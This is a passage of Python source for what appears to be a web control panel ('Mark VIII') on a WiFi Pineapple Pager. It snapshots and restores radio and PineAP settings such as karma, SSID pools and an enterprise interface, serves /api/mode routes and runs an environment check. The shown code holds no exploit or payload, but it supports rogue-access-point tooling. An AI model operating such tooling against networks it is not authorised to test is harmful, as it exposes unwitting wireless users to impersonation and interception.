|
|
snap['ifaces'][name] = _uci_wifi_iface(name) if _uci_iface_present(name) else None
|
|
for key in PAGER_SNAPSHOT_UCI:
|
|
snap['uci'][key] = _uci_get(key)
|
|
directory = os.path.dirname(PAGER_SNAPSHOT_FILE) or '.'
|
|
try:
|
|
os.makedirs(directory, exist_ok=True)
|
|
except OSError:
|
|
pass
|
|
tmp = PAGER_SNAPSHOT_FILE + '.tmp'
|
|
with open(tmp, 'w') as handle:
|
|
json.dump(snap, handle)
|
|
os.replace(tmp, PAGER_SNAPSHOT_FILE)
|
|
return snap
|
|
|
|
|
|
def load_pager_snapshot():
|
|
try:
|
|
with open(PAGER_SNAPSHOT_FILE) as handle:
|
|
data = json.load(handle)
|
|
return data if isinstance(data, dict) else None
|
|
except (OSError, ValueError):
|
|
return None
|
|
|
|
|
|
def restore_pager_truth(resnapshot=False):
|
|
"""Make the Pager UI the source of truth for overlay radio/PineAP keys.
|
|
|
|
Daemon-written PineAP (SSID pool contents, karma, filter entries) is left
|
|
alone. Mark VIII-only overlays (radio1 APs, hop pause, enterprise iface,
|
|
dummy_radio0) revert to the snapshot taken when Mark VIII started.
|
|
"""
|
|
_stop_overlay_runtime()
|
|
snap = load_pager_snapshot()
|
|
if not snap:
|
|
return {'ok': True, 'restored': False, 'reason': 'no snapshot'}
|
|
wireless_dirty = False
|
|
pineapd_dirty = False
|
|
for name in PAGER_SNAPSHOT_IFACES:
|
|
wanted = (snap.get('ifaces') or {}).get(name)
|
|
present = _uci_iface_present(name)
|
|
current = _uci_wifi_iface(name) if present else None
|
|
if current == wanted:
|
|
continue
|
|
_restore_wifi_iface(name, wanted)
|
|
wireless_dirty = True
|
|
for key, wanted in (snap.get('uci') or {}).items():
|
|
current = _uci_get(key)
|
|
if current == wanted:
|
|
continue
|
|
if wanted is None:
|
|
device_run(['uci', 'delete', key])
|
|
else:
|
|
device_run(['uci', 'set', '%s=%s' % (key, wanted)])
|
|
if key.startswith('wireless.'):
|
|
wireless_dirty = True
|
|
elif key.startswith('pineapd.'):
|
|
pineapd_dirty = True
|
|
if wireless_dirty:
|
|
device_run(['uci', 'commit', 'wireless'])
|
|
device_run(['wifi', 'reload'], timeout=45)
|
|
if pineapd_dirty:
|
|
device_run(['uci', 'commit', 'pineapd'])
|
|
device_run(['/etc/init.d/pineapd', 'reload'], timeout=30)
|
|
try:
|
|
os.unlink(PINEAP_STATE_FILE)
|
|
except OSError:
|
|
pass
|
|
if resnapshot:
|
|
capture_pager_snapshot(force=True)
|
|
else:
|
|
try:
|
|
os.unlink(PAGER_SNAPSHOT_FILE)
|
|
except OSError:
|
|
pass
|
|
return {
|
|
'ok': True,
|
|
'restored': True,
|
|
'wireless': wireless_dirty,
|
|
'pineapd': pineapd_dirty,
|
|
'resnapshot': bool(resnapshot),
|
|
}
|
|
|
|
|
|
def h_mode_get(ctx):
|
|
snap = load_pager_snapshot()
|
|
return 200, {
|
|
'markviii': True,
|
|
'pager_port': 1471,
|
|
'snapshot': bool(snap),
|
|
'taken': (snap or {}).get('taken'),
|
|
'overlay': {
|
|
'radio1_ap': _radio1_ap_active(),
|
|
'enterprise': _ent_running(),
|
|
'recon_hopper': bool(_recon_hop_state.get('active')),
|
|
},
|
|
'note': 'Stopping Mark VIII restores Pager-owned radio/PineAP overlays; '
|
|
'the Pager UI at :1471 is then the source of truth.',
|
|
}
|
|
|
|
|
|
def h_mode_release(ctx):
|
|
return 200, restore_pager_truth(resnapshot=True)
|
|
|
|
|
|
ROUTER.add('GET', r'/api/mode', h_mode_get)
|
|
ROUTER.add('POST', r'/api/mode/release', h_mode_release)
|
|
|
|
|
|
def serve():
|
|
LIVE_STOP.clear()
|
|
HEALTH_STOP.clear()
|
|
_recon_hopper_stop.set()
|
|
capture_pager_snapshot()
|
|
startup_env_check()
|
|
threading.Thread(target=live_loop, daemon=True).start()
|
|
threading.Thread(target=_recon_watchdog_loop, daemon=True).start()
|
|
start_health_monitor()
|
|
if os.environ.get('PAGER_WEBUI_BOOT') == '1':
|
|
_enterprise_boot_recover()
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
|
sock.bind((HOST, PORT))
|
|
sock.listen(16)
|
|
sock.settimeout(1)
|
|
try:
|
|
while not LIVE_STOP.is_set():
|
|
try:
|
|
conn, addr = sock.accept()
|
|
except socket.timeout:
|
|
continue
|
|
threading.Thread(
|
|
target=_handle_conn, args=(conn, addr), daemon=True).start()
|
|
finally:
|
|
_request_shutdown()
|
|
try:
|
|
restore_pager_truth(resnapshot=False)
|
|
except Exception:
|
|
pass
|
|
sock.close()
|
|
|
|
|
|
def env_check_cli():
|
|
"""Run the environment check and print a verbose report to stdout.
|
|
Returns the process exit code (0 = pass/warn, 1 = core failure)."""
|
|
report = env_check()
|
|
_print_env_report(report)
|
|
counts = {k: _env_count(report, k) for k in ('pass', 'fixed', 'warn', 'fail')}
|
|
print('ENVIRONMENT CHECK: %s (%d pass, %d fixed, %d warn, %d fail)' % (
|
|
ENV_CHECK_STATE['overall'].upper(), counts['pass'], counts['fixed'],
|
|
counts['warn'], counts['fail']))
|
|
return 0 if ENV_CHECK_STATE['overall'] != 'fail' else 1
|
|
|
|
|
|
def _print_env_report(report, flush=False):
|
|
for step in report:
|
|
line = '[%s] %s' % (step['ok'].upper(), step['detail'])
|
|
if step.get('action'):
|
|
line += ' (%s)' % step['action']
|
|
print(line, flush=flush)
|
|
|
|
|
|
if __name__ == '__main__':
|
|
if '--env-check' in sys.argv:
|
|
sys.exit(env_check_cli())
|
|
if '--release-pager' in sys.argv:
|
|
result = restore_pager_truth(resnapshot=False)
|
|
print(json.dumps(result))
|
|
sys.exit(0 if result.get('ok') else 1)
|
|
if '--reconcile' in sys.argv:
|
|
try:
|
|
import mk8_guard
|
|
print(json.dumps(mk8_guard.reconcile()))
|
|
except Exception as exc: # boot must never fail here
|
|
print(json.dumps({'error': str(exc)}))
|
|
sys.exit(0)
|
|
signal.signal(signal.SIGTERM, _request_shutdown)
|
|
signal.signal(signal.SIGINT, _request_shutdown)
|
|
serve()
|